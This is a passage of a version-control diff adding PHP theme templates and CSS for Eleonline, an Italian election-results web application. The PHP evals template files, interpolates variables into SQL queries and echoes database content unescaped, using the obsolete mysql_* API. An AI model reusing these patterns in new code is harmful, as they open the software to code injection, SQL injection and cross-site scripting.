+echo "<a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;tour=0&amp;csv=0&amp;block=1\">
+	<img class=\"nobordo\" src=\"modules/Elezioni/images/stop.gif\" alt=\"NoBlocco\" title=\"Stop\" /></a>";
+
+}else{
+
+	
+	
+	echo "<a href=\"modules.php?name=$name&amp;csv=1&amp;block=0&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;tour=1\">
+	
+	
+	<img class=\"nobordo\" src=\"modules/Elezioni/images/play.gif\" alt=\"YesBlocco\" title=\"Play\" /></a>";
+
+}
+
+}
+}
+
+?>
Index: /trunk/elezioni/trunk/client/temi/tour/config.php
===================================================================
--- /trunk/elezioni/trunk/client/temi/tour/config.php	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/tour/config.php	(revision 44)
@@ -0,0 +1,20 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Configurazione tema tour per scelta pagine                           */
+/************************************************************************/
+
+/* $lista_ruota: array contenente le pagine da visualizzare in automatico a rotazione 
+possono essere aggiunte altre a piacimento */
+
+$lista_ruota=array(     'affluenze_graf',
+		        'graf_votanti',
+			'graf_gruppo'
+			
+		 );
+
+?>
Index: /trunk/elezioni/trunk/client/temi/tour/index.php
===================================================================
--- /trunk/elezioni/trunk/client/temi/tour/index.php	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/tour/index.php	(revision 44)
@@ -0,0 +1,215 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* tema tour per far girare le pagine in automatico */
+/* le pagine vanno messe nel file config,php */
+
+global $tour;
+include("config.php"); 
+$param=strip_tags(strtolower($_SERVER['REQUEST_METHOD'])) == 'get' ? $_GET : $_POST;
+
+####################################
+// rotazione pagina
+// bottone file button.php 
+####################################
+
+if (isset($param['tour'])){
+   $tour=$param['tour'];
+   $_SESSION['newtour']="$tour";
+        }
+if (isset($_SESSION['newtour'])) $tour=$_SESSION['newtour']; 
+
+
+if($tour=='1'){
+
+  $max_ruota=count($lista_ruota)-1;
+  if (isset($_SESSION['ruota'])) { $ruota=$_SESSION['ruota'];}
+  else {$ruota=0;$_SESSION['ruota']=0;}
+  if ($ruota>=$max_ruota) {$ruota=0;}
+  else {$ruota++;}
+  $_SESSION['ruota']=$ruota;
+  $op=$lista_ruota[$ruota];
+}else{
+if (isset($_SESSION['ruota'])) unset($_SESSION['ruota']);
+}
+//fine rotazione pagine
+$nometema=$tema;
+if (isset($_SESSION['ruota'])){ include("temi/$tema/button.php");tour();
+echo "<span class=\"piccolo\"> eleonline by l.apolito & r.gigli - www.eleonline.it</span>";} #bottone stop
+
+
+####################################
+function testata(){
+####################################
+
+global $nometema,$file,$bgcolor,$sitename,$dbi,$prefix,$blocco,$lang,$siteistat;
+if (isset($param['id_comune'])) $id_comune=intval($param['id_comune']); else $id_comune=$siteistat;
+
+$res = mysql_query("SELECT descrizione FROM ".$prefix."_ele_comuni where id_comune='$id_comune' ", $dbi);
+	list($descr_com) = mysql_fetch_row($res);
+
+
+// logo
+echo ' 
+<div id="header">
+    <div>
+        <h1>';
+		echo "$descr_com";
+echo '</a></h1>
+	<b>consultazioni elettorali on line </b> <a href="http://www.eleonline.it"> <i>by l.apolito e r.gigli</i></a>
+	<br/>
+	<div id="bottoni">&nbsp;';
+		language();
+		flash();
+		noblocco();
+		tour();
+echo ' </div>
+
+    </div>
+</div>
+
+';
+
+// menu
+echo '<div id="menu"><br/>';
+	if ($file=="index") menu();
+
+echo "</div>";
+
+echo '
+	 <div id="page"> 
+		<div class="table-main">';
+
+if($blocco==1) echo '<div id="content">';
+
+}
+##################################
+function piede(){
+##################################
+global $nometema,$blocco,$lang;
+//echo "<div></div>";
+
+
+// carica i blocchi
+if($blocco==1) blocco();
+echo "</div></div>";
+// carica il file foooter
+$tmpl_file = "temi/language/$lang/footer.html";
+$thefile = implode("", file($tmpl_file));
+$thefile = addslashes($thefile);
+$thefile = "\$r_file=\"".$thefile."\";";
+eval($thefile);
+print $r_file;
+die();
+}
+
+####################################
+function blocco(){
+####################################
+global $name,$blocco,$bgcolor, $nometema,$id_comune,$tipo_cons,$id_cons_gen,$id_cons,$prefix,$dbi, $votog,$votol,$votoc,$circo,$genere,$lang,$op,$id_circ;
+
+if ($blocco==1) echo "</div><div class=\"td-149\">";
+
+echo "<a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;block=0\"><img class=\"noblocco\" src=\"modules/Elezioni/images/close.gif\" alt=\"NoBlocco\" title=\"NoBlocco\" /></a>";
+
+
+
+// Blocco generale
+
+
+$tmpl_file = "temi/language/$lang/bloccogen.html";
+$thefile = implode("", file($tmpl_file));
+$thefile = addslashes($thefile);
+$thefile = "\$r_file=\"".$thefile."\";";
+eval($thefile);
+print $r_file;
+
+caricablocchi();
+
+// Blocco consultazioni
+if ($genere>2){
+$tmpl_file = "temi/language/$lang/bloccocand.html";
+$thefile = implode("", file($tmpl_file));
+$thefile = addslashes($thefile);
+$thefile = "\$r_file=\"".$thefile."\";";
+eval($thefile);
+print $r_file;
+}else{
+if ($genere==0){
+//Blocco Referendum
+$tmpl_file = "temi/language/$lang/bloccoref.html";
+$thefile = implode("", file($tmpl_file));
+$thefile = addslashes($thefile);
+$thefile = "\$r_file=\"".$thefile."\";";
+eval($thefile);
+print $r_file;
+}
+}
+// Blocco link
+
+$result = mysql_query("select mid, title, preamble, content,editimage from ".$prefix."_ele_link where id_cons='$id_cons' order by mid ", $dbi);
+    if (mysql_num_rows($result) == 0) {
+	//echo "</div></td></tr></table>";
+        
+	
+	
+    } else {
+	echo "<h5>"._LINK."</h5><p>";
+	while (list($mid, $title, $preamble,$content,  $editimage) = mysql_fetch_row($result)) {
+  		if ($title != "" && $content != "") {
+			$content = stripslashes($content);
+    			$content = substr($content,0,45);
+			echo "<b><a href=\"$preamble\">
+			$title</a></b><br />
+
+			$content<br/>";
+		}		     
+	}
+	
+   }	
+
+
+######## footer ######################################
+
+echo "<h5>Note</h5>
+<h6><a href=\"modules.php?name=Elezioni&amp;file=index&amp;op=contatti\"> Contatti</a> </h6>"; 
+
+include_once("versione.php");
+
+ echo "<br />[<a href=\"http://www.eleonline.it\"><b>Eleonline $versione</b></a> - "._GESRIS." ]
+";
+echo '<br/><br/>
+
+<!-- w3c -->
+	<div class="w3cbutton3">
+  		<a href="http://www.w3.org/WAI/WCAG1AA-Conformance" title="pagina di spiegazione degli standard">
+    		<span class="w3c">W3C</span>
+    		<span class="spec">WAI-<span class="specRed">AA</span></span>
+  		</a>
+	</div>
+	<div class="w3cbutton3">
+  		<a href="http://jigsaw.w3.org/css-validator/" title="Validatore css">
+		<span class="w3c">W3C</span>
+    		<span class="spec">CSS</span>
+  		</a>
+	</div>
+	<div class="w3cbutton3">
+  		<a href="http://validator.w3.org/" title="Validatore XHTML ">
+    		<span class="w3c">W3C</span>
+    		<span class="spec">XHTML 1.0</span>
+		</a>
+	</div>';
+
+echo "
+</div>"; 
+
+
+}
+
+include("temi/tour/button.php");
+//if (isset($_SESSION['ruota'])){ echo "<div style:\"margin auto; text-align:center\">Eleonline</div>";} 
+?>
Index: /trunk/elezioni/trunk/client/temi/tour/style.css
===================================================================
--- /trunk/elezioni/trunk/client/temi/tour/style.css	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/tour/style.css	(revision 44)
@@ -0,0 +1,568 @@
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/**************** 
+style css for eleonline
+http://www.eleonline.it
+
+l.apolito r.gigli
+****************/
+
+/* inizio style tour */
+
+* {
+	margin: 0;
+	padding: 0;
+}
+
+body {
+	margin: 0;
+	padding: 0;
+	background: #FFFFFF;
+	font: 13px "Trebuchet MS", Arial, Helvetica, sans-serif;
+	color: #7F7772;
+}
+
+
+#bg {
+	background: url(images/img04.gif) no-repeat center top;
+}
+
+#menu {
+	width: 970px;
+	height: 60px;
+	margin: 0 auto;
+	
+}
+
+#menu ul {
+	margin: 0;
+	padding: 0;
+	list-style: none;
+}
+
+#menu li {
+	/*display: inline;
+*/
+}
+
+#menu a {
+	display: block;
+	float: left;
+	padding: 18px 30px 0 30px;
+	text-decoration: none;
+	font-size: 1.6em;
+	font-weight: bold;
+	color: #FFFFFF;
+}
+
+#menu a:hover {
+/*	text-decoration: underline; */
+}
+
+#menu .current_page_item {
+}
+
+#menu .current_page_item a {
+	color: #000000;
+}
+
+/* Page */
+
+#page {
+	width: 970px;
+	margin: 0 auto;
+	padding: 30px 0;
+}
+
+
+
+/* Content */
+
+#content {
+	float: left;
+	width: 770px;
+}
+
+
+
+#bottoni {
+	padding-right: 0px;
+	width: 150px;
+	height: 28px;
+	
+}
+
+
+
+/* 
+fine tour
+inizio eleonline
+*/
+
+
+
+
+
+
+.logoleft{
+background-image:url(images/logo_left.jpg); background-repeat:no-repeat;
+width:12px;
+height:78px;
+}sidebar
+.logoright{
+background-image:url(images/logo_right.jpg); background-repeat:no-repeat;
+width:12px;
+height:78px;
+}
+.logo{
+background-image:url(images/logo_bg.jpg); background-repeat:repeat-x;
+	text-transform: uppercase;
+	font-size:28px;
+	color:#88AED6;
+	font-weight:bold;
+	text-decoration:none;
+	width:250px;
+}
+.main{
+background-color:#A8C4E1;
+}
+.tag {
+	margin: 0;
+	padding:45px 20px 10px 10px;
+	text-transform: uppercase;
+	font-size:16px;
+	font-weight:bold;
+	color:#ffffff;
+    text-decoration:none;
+}
+a{
+color:#000000;
+
+text-decoration:none;
+}
+a:hover{
+color:#dce9f9;
+text-decoration:none;
+}
+
+/* usate per blocco */
+
+.sidebar {
+	
+	
+	margin-top:0px;
+	background-color: #d2d2d2;
+	/*margin: 0px 0 0 0px;*/
+	width: 200px;	
+	border: none;
+	
+	
+	padding: 0px;
+}
+
+.sidebar h5 {
+
+	height: 27px;
+	padding: 6px 0 0 27px;
+	/*background: #ffffff url(images/img05.gif) no-repeat;*/
+        background-position:center; 
+	text-transform: lowercase;
+	font-size: 12px;
+	color: #000000;
+}
+
+
+
+
+.sidebar h6 {
+
+	padding: 12px;
+	/*background: #ffffff url(images/img06.gif) repeat-x;*/
+	font-size: 12px;
+}
+
+
+/*
+.td-149 a{
+color:#5D81A6;
+}
+.td-149 a:hover{
+color:#FFFFFF;
+}
+.td-149 a:visited{
+color:#000000;
+}
+*/
+.welcome
+{font-size:35px;
+color:#686868;
+}
+
+/* contenitore */
+
+div#container{
+    width: 750px;
+    margin: 0px auto;   /*centra negli altri browsers*/
+    text-align: left;   /*ripristina l' allineamento*/
+    }
+table {
+	margin-right: auto;
+	margin-left: auto;
+	text-align: left;
+	margin-top: 0px;
+	
+	
+	
+}
+td {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	margin-top: 0px;
+	margin: 0;
+}
+
+hr {
+	color: #000000;
+	background-color: #FFFFFF;
+	border-bottom: 1px dotted #CCCCCC;
+}
+form {
+	
+	font-size: 12px;
+	color: #000066;
+	text-decoration: none;
+	margin-right: 0px;
+	margin-left: 0px;
+	margin-top: 0px;
+	margin-bottom: 0px;
+	width: 100%;
+}
+p {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	padding-right: 8px;
+	padding-bottom: 0px;
+	padding-left: 8px;
+	padding-top: 0px;
+	margin: 2px 2px 4px;
+}
+h1 {
+	font-size: 16px;
+	font-weight: bold;
+	color: #000000;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #222266;
+	margin-top: 6px;
+	margin-bottom: 8px;
+	padding-right: 0px;
+	padding-left: 0px;
+}
+h2 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #5D81A6;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	/*margin-top: 9px;
+	margin-bottom: 2px;
+	*/
+	padding-right: 1px;
+	padding-left: 4px;
+	text-align: center; 
+}
+h4 {
+	font-size: 14px;
+	color: #003366;
+	text-decoration: none;
+	background-position: center;
+	bottom: 9px;
+	margin: 20px;
+	text-align: center;
+	border: 1px dotted #666666;
+	padding: 2px;
+	width: auto;
+	background-color: #EEEFEF;
+	font-variant: small-caps;
+}
+
+
+h5 {
+
+	height: 27px;
+	padding: 6px 0 0 27px;
+	/*background: #ffffff url(images/img05bis.gif) no-repeat;*/
+        background-position:center; 
+	text-transform: lowercase;
+	font-size: 12px;
+	color: #000000;
+	text-align: center;
+
+}
+h6 {
+
+	padding: 12px;
+	background: #ffffff url(images/img06.gif) repeat-x;
+	font-size: 12px;
+
+}
+
+/* classe tratteggiata usata in molti td */
+
+
+.modulo {
+	text-decoration: none;
+	border: 1px solid #666699;
+	font-size: 10px;
+}
+
+.modulo-button {
+	color: #663366;
+	text-decoration: none;
+	background-color: #FFFFEE;
+	border: 1px solid #660033;
+	width: 50%;
+	text-align: center;
+	font-size: 10px;
+	padding: 3px;
+}
+
+
+
+
+/* tavole */
+.table-main {
+	border: 1px solid #DEDEDC;
+	font-size: 12px;
+	background-position: center top;
+	padding: 0px;
+	color: #000000;
+	text-align:center;
+	width: 970px;
+	
+}
+
+
+/* numero e simbolo liste */
+
+.td-5 {
+	
+	margin: 0px 0 0 0px;
+	width: 5%;	
+	border: none;
+        background-color:#4983b6;
+	color:#ffffff;
+	/*background-color: #d2d2d2;*/
+	padding: 0px;
+        FONT-SIZE: 12px; 
+        FONT-FAMILY: Verdana, Helvetica;
+}	
+.td-130c {
+	float: right;
+	text-align:left;
+	margin: 0px 0 0 1px;
+	width: 130px;	
+	border: none;
+	
+	padding: 0px;
+}		
+	
+/* sinistra */
+div#sx{
+    width: 590px;
+    float: left;
+    text-align: left;   
+    }
+/* destra */
+div#dx{
+    width: 149px;
+    float: right;
+    text-align: left;   
+    }
+
+
+/* flash */
+div#flash{
+    width: 410px;
+    float: left;
+    text-align: left;   
+    }
+
+
+
+
+
+
+/* immagini bordo */
+
+.image {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+}		
+
+.stemma {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:50px;
+	height:50px;
+}		
+
+.stemmapic {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:30px;
+	height:30px;
+}		
+
+
+.noblocco {
+border: 0px;
+margin-right:0px;
+margin-left:180px;
+text-align: right;
+vertical-align: middle;
+width:18px;
+height:18px;
+}
+
+
+.nobordo {
+border: 0px;
+text-align: center;
+vertical-align: middle;
+}
+
+.bordo {
+border: 1px solid #ff0000;
+text-align: left;
+vertical-align: middle;
+
+}
+/******************** font e backcolor******************************/
+.blu 	{
+	background: none;
+	font-weight: bold; 
+	color: #003366; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+/*diventa grigio qui */
+
+.red 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+.redbig 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 16px; 
+	font-family: Verdana, Helvetica
+}
+
+.bgw	{
+	background: #ffffff; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+}
+/* diventa rosso */
+
+.bggray 	{
+	background-color:#4983b6;
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+	color: #ffffff;
+}
+
+.bggray2 	{
+	background: #EAEAEA; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+	}
+
+.bggray3 	{
+	background: #ffffff;  
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+	}
+
+.normale {
+	background: none; 
+	color: #000000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+}
+.piccolo {
+	background: none; 
+	/*color: #cccccc; */
+	font-size: 11px; 
+	font-weight: normal; 
+	font-family: Verdana, Helvetica; 
+	text-decoration: none}
+/**********************************************************************
+BOTTONI W3C      *****************************************************/
+
+.w3cbutton3 {
+background-image:url(images/box_bg.jpg); background-repeat:repeat-x;
+  margin: 0px 0px 0px 5px;
+  width: 95px;
+  border: 1px solid #6A6A6A;
+  font-family: helvetica,arial,sans-serif;
+  font-size: 10px;
+  float: left;
+}
+
+.w3cbutton3 a {
+  display: block;
+  width: 100%;
+}
+
+.w3cbutton3 a:link, .w3cbutton3 a:visited {
+  background-color: #8CC8C7;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 a:hover {
+  background-color: #C9F4F3;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 span.w3c {
+  font-weight: bold;
+  padding: 0 0.4em;
+  background-color: #FFFFCC;
+  color: #0C479D;
+}
+
+.w3cbutton3 span.spec {
+  color: #333333;
+}
+
+.w3cbutton3 span.specRed {
+  color: #FF0000;
+}
+
+
Index: /trunk/elezioni/trunk/client/temi/yellowblu/index.php
===================================================================
--- /trunk/elezioni/trunk/client/temi/yellowblu/index.php	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/yellowblu/index.php	(revision 44)
@@ -0,0 +1,80 @@
+<?php
+include_once("modules/Elezioni/funzioni.php");
+include_once("temi/inc/button.php");
+
+
+########## no blocco x grafici e risultati
+if($blocco!=1 || $param['op']=="graf_gruppo" || $param['op']=="gruppo_circo" || $param['op']=="gruppo_sezione"
+|| $param['op']=="lista_circo" || $param['op']=="lista_sezione"  || $param['op']=="candidato_circo" || $param['op']=="candidato_sezione"
+)$blocco=''; else $blocco=1;
+
+$nometema=$tema;
+####################################
+function testata(){
+####################################
+
+global $nometema,$file,$bgcolor,$sitename,$dbi,$prefix,$blocco,$lang,$siteistat;
+if (isset($param['id_comune'])) $id_comune=intval($param['id_comune']); else $id_comune=$siteistat;
+
+$res = mysql_query("SELECT descrizione FROM ".$prefix."_ele_comuni where id_comune='$id_comune' ", $dbi);
+	list($descr_com) = mysql_fetch_row($res);
+
+
+// logo
+echo ' 
+<div id="header">
+    <div id="logo">
+        <h1>';
+		echo "$descr_com";
+echo '</a></h1>
+	<b>consultazioni elettorali on line </b><br /> <a href="http://www.eleonline.it"> <i>by l.apolito e r.gigli</i></a>
+	<br/><br/><br/>
+	<div id="search">&nbsp;';
+		language();
+		flash();
+		noblocco();
+echo ' </div>
+
+    </div>
+</div>
+
+';
+
+// menu
+echo '<div id="menu"><br/>';
+	if ($file=="index") menu();
+
+echo "</div>";
+
+echo '
+	 <div id="page">'; 
+		echo "<table cellpadding=\"0\" cellspacing=\"0\"><tr>";
+
+	 
+          	$check=check_block("dx"); // check exist box
+		
+	if ($blocco=='1' && $check!=0){
+		echo "<td valign=\"top\" class=\"sidebar\">";
+    		block("dx");
+		echo "</td><td>&nbsp;&nbsp;</td><td valign=\"top\">"; 
+		
+	}else { 
+		echo "<td valign=\"top\">";
+	}
+		
+}
+function piede(){
+	global $blocco;
+	$check=check_block("sx"); // check exist box
+	if ($blocco=='1' && $check!=0){
+		echo "</td><td>&nbsp;&nbsp;</td><td valign=\"top\" class=\"sidebar\">";
+    		block("sx");
+		
+	}
+	echo "</td></tr></table>";
+        echo "</div>"; #container
+
+}		
+
+
+?>
Index: /trunk/elezioni/trunk/client/temi/yellowblu/style.css
===================================================================
--- /trunk/elezioni/trunk/client/temi/yellowblu/style.css	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/yellowblu/style.css	(revision 44)
@@ -0,0 +1,644 @@
+/**************** 
+style css for eleonline
+http://www.eleonline.it
+
+l.apolito r.gigli
+****************/
+
+/* inizio style yellowblu */
+* {
+	margin: 0;
+	padding: 0;
+}
+
+body {
+	margin: 0;
+	padding: 0;
+	background: #FFFFFF;
+	font: 13px "Trebuchet MS", Arial, Helvetica, sans-serif;
+	color: #7F7772;
+}
+
+
+/* Logo */
+
+#header {
+	width: 970px;
+	height: 108px;
+	margin: 0 auto;
+}
+
+#logo h1, #logo p {
+	float: left;
+	color: #3B3B3B;
+}
+
+#logo h1 {
+	height: 70px;
+	padding: 30px 90px 0 0;
+	background: url(../../modules/Elezioni/images/logo.jpg) no-repeat right bottom;
+	font-size: 4em;
+}
+
+#logo p {
+	margin: 0 0 0 -30px;
+	padding: 70px 0 0 0;
+	line-height: normal;
+	letter-spacing: -1px;
+	font-size: 1.8em;
+	font-weight: bold;
+}
+
+#logo a {
+	text-decoration: none;
+	color: #3B3B3B;
+	font-weight: bold;
+}
+
+#bg {
+	background: url(images/img04.gif) no-repeat center top;
+}
+
+#menu {
+	width: 970px;
+	height: 60px;
+	margin: 0 auto;
+	background: #6AA2FD url(images/img04.gif);
+}
+
+#menu ul {
+	margin: 0;
+	padding: 0;
+	list-style: none;
+}
+
+#menu li {
+	/*display: inline;
+*/
+}
+
+#menu a {
+	display: block;
+	float: left;
+	padding: 18px 30px 0 30px;
+	text-decoration: none;
+	font-size: 1.6em;
+	font-weight: bold;
+	color: #FFFFFF;
+}
+
+#menu a:hover {
+/*	text-decoration: underline; */
+}
+
+#menu .current_page_item {
+}
+
+#menu .current_page_item a {
+	color: #000000;
+}
+
+/* Page */
+
+#page {
+	width: 970px;
+	margin: 0 auto;
+	padding: 30px 0;
+}
+
+/* Ads */
+
+#ads {
+	float: right;
+	width: 160px;
+	padding: 0 0 0 20px;
+}
+
+/* Content */
+
+#content {
+	float: left;
+	width: 770px;
+}
+
+
+
+#search {
+	padding-right: 0px;
+	float: right;
+	width: 120px;
+	height: 28px;
+	background: #FFFFFF url(images/img02.gif) no-repeat;
+}
+
+#search #x {
+	display: none;
+}
+
+#search #s {
+	padding: 6px 5px 5px 35px;
+	width: 160px;
+	height: auto;
+	background: none;
+	border: none;
+	font: normal 1em Arial, Helvetica, sans-serif;
+	color: #000;
+}
+
+#search br {
+	display: none;
+}
+
+
+
+/* 
+fine stylized
+inizio eleonline
+*/
+
+
+
+
+
+
+.logoleft{
+background-image:url(images/logo_left.jpg); background-repeat:no-repeat;
+width:12px;
+height:78px;
+}sidebar
+.logoright{
+background-image:url(images/logo_right.jpg); background-repeat:no-repeat;
+width:12px;
+height:78px;
+}
+.logo{
+background-image:url(images/logo_bg.jpg); background-repeat:repeat-x;
+	text-transform: uppercase;
+	font-size:28px;
+	color:#88AED6;
+	font-weight:bold;
+	text-decoration:none;
+	width:250px;
+}
+.main{
+background-color:#A8C4E1;
+}
+.tag {
+	margin: 0;
+	padding:45px 20px 10px 10px;
+	text-transform: uppercase;
+	font-size:16px;
+	font-weight:bold;
+	color:#ffffff;
+    text-decoration:none;
+}
+a{
+color:#000000;
+
+text-decoration:none;
+}
+a:hover{
+color:#dce9f9;
+text-decoration:none;
+}
+
+/* usate per blocco */
+
+.sidebar {
+	
+	
+	margin-top:0px;
+	background-color: #ffffff; 
+	/*margin: 0px 0 0 0px;*/
+	width: 200px;	
+	border: none;
+	
+	
+	padding: 0px;
+}
+
+.sidebar h5 {
+
+	height: 27px;
+	padding: 6px 0 0 27px;
+	background: #ffffff url(images/img05.gif) no-repeat;
+        background-position:center; 
+	text-transform: lowercase;
+	font-size: 12px;
+	color: #FFFFFF;
+}
+
+
+
+
+#sidebar h6 {
+
+	padding: 12px;
+	background: #ffffff url(images/img06.gif) repeat-x;
+	font-size: 12px;
+}
+
+
+
+.welcome
+{font-size:35px;
+color:#686868;
+}
+
+/* contenitore */
+
+div#container{
+    width: 750px;
+    margin: 0px auto;   /*centra negli altri browsers*/
+    text-align: left;   /*ripristina l' allineamento*/
+    }
+table {
+	margin-right: auto;
+	margin-left: auto;
+	text-align: left;
+	margin-top: 0px;
+	
+	
+	
+}
+td {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	margin-top: 0px;
+	margin: 0;
+}
+
+hr {
+	color: #000000;
+	background-color: #FFFFFF;
+	border-bottom: 1px dotted #CCCCCC;
+}
+form {
+	
+	font-size: 12px;
+	color: #000066;
+	text-decoration: none;
+	margin-right: 0px;
+	margin-left: 0px;
+	margin-top: 0px;
+	margin-bottom: 0px;
+	width: 100%;
+}
+p {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	padding-right: 8px;
+	padding-bottom: 0px;
+	padding-left: 8px;
+	padding-top: 0px;
+	margin: 2px 2px 4px;
+}
+h1 {
+	font-size: 16px;
+	font-weight: bold;
+	color: #000000;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #222266;
+	margin-top: 6px;
+	margin-bottom: 8px;
+	padding-right: 0px;
+	padding-left: 0px;
+}
+h2 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #5D81A6;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 9px;
+	margin-bottom: 2px;
+	padding-right: 1px;
+	padding-left: 4px;
+}
+h4 {
+	font-size: 14px;
+	color: #003366;
+	text-decoration: none;
+	background-position: center;
+	bottom: 9px;
+	margin: 20px;
+	text-align: center;
+	border: 1px dotted #666666;
+	padding: 2px;
+	width: auto;
+	background-color: #EEEFEF;
+	font-variant: small-caps;
+}
+
+h5 {
+
+	height: 27px;
+	padding: 6px 0 0 27px;
+	background: #ffffff url(images/img05bis.gif) no-repeat;
+        background-position:center; 
+	text-transform: lowercase;
+	font-size: 12px;
+	color: #FFFFFF;
+/*
+	font-size: 14px;
+	font-weight: bold;
+	color: #ffffff;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 0px;
+	margin-bottom: 4px;
+	padding-right: 1px;
+	padding-left: 4px;
+	background-color: #A8C4E1;
+	background-position: center;
+	text-align: center;
+*/
+}
+h6 {
+
+	padding: 12px;
+	background: #ffffff url(images/img06.gif) repeat-x;
+	font-size: 12px;
+/*
+	font-size: 12px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-style: dotted;
+	padding-left: 4px;
+	background-position: center;
+	border-bottom-color: #EEEEEE;
+	border-bottom-width: 1px;
+	padding-top: 3px;
+	padding-right: 2px;
+	padding-bottom: 0px;
+	bottom: 9px;
+	margin-top: 1px;
+	margin-bottom: 3px;
+*/
+}
+
+/* classe tratteggiata usata in molti td */
+
+
+.modulo {
+	text-decoration: none;
+	border: 1px solid #666699;
+	font-size: 10px;
+}
+
+.modulo-button {
+	color: #663366;
+	text-decoration: none;
+	background-color: #FFFFEE;
+	border: 1px solid #660033;
+	width: 50%;
+	text-align: center;
+	font-size: 10px;
+	padding: 3px;
+}
+
+/*
+.sitebar {
+	background-image:url(images/box_bg.jpg); background-repeat:repeat-x;
+	font-size: 12px;
+	border: none;
+	color: #ffffff;
+}
+*/
+
+
+/* tavole */
+.table-main {
+	border: 1px solid #DEDEDC;
+	font-size: 12px;
+	background-position: center top;
+	padding: 0px;
+	color: #000000;
+	text-align:center;
+	width: 970px;
+	
+}
+
+
+/* numero e simbolo liste */
+
+.td-5 {
+	
+	margin: 0px 0 0 0px;
+	width: 5%;	
+	border: none;
+        background-color:#4983b6;
+	color:#ffffff;
+	/*background-color: #d2d2d2;*/
+	padding: 0px;
+        FONT-SIZE: 12px; 
+        FONT-FAMILY: Verdana, Helvetica;
+}	
+.td-130c {
+	float: right;
+	text-align:left;
+	margin: 0px 0 0 1px;
+	width: 130px;	
+	border: none;
+	
+	padding: 0px;
+}		
+	
+/* sinistra */
+div#sx{
+    width: 590px;
+    float: left;
+    text-align: left;   
+    }
+/* destra */
+div#dx{
+    width: 149px;
+    float: right;
+    text-align: left;   
+    }
+
+
+/* flash */
+div#flash{
+    width: 410px;
+    float: left;
+    text-align: left;   
+    }
+
+
+
+
+
+
+/* immagini bordo */
+
+.image {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+}		
+
+.stemma {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:50px;
+	height:50px;
+}		
+
+.stemmapic {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:30px;
+	height:30px;
+}		
+
+
+.noblocco {
+border: 0px;
+margin-right:0px;
+margin-left:180px;
+text-align: right;
+vertical-align: middle;
+width:18px;
+height:18px;
+}
+
+
+.nobordo {
+border: 0px;
+text-align: center;
+vertical-align: middle;
+}
+
+.bordo {
+border: 1px solid #ff0000;
+text-align: left;
+vertical-align: middle;
+
+}
+/******************** font e backcolor******************************/
+.blu 	{
+	background: none;
+	font-weight: bold; 
+	color: #003366; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+/*diventa grigio qui */
+
+.red 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+.redbig 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 16px; 
+	font-family: Verdana, Helvetica
+}
+
+.bgw	{
+	background: #ffffff; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
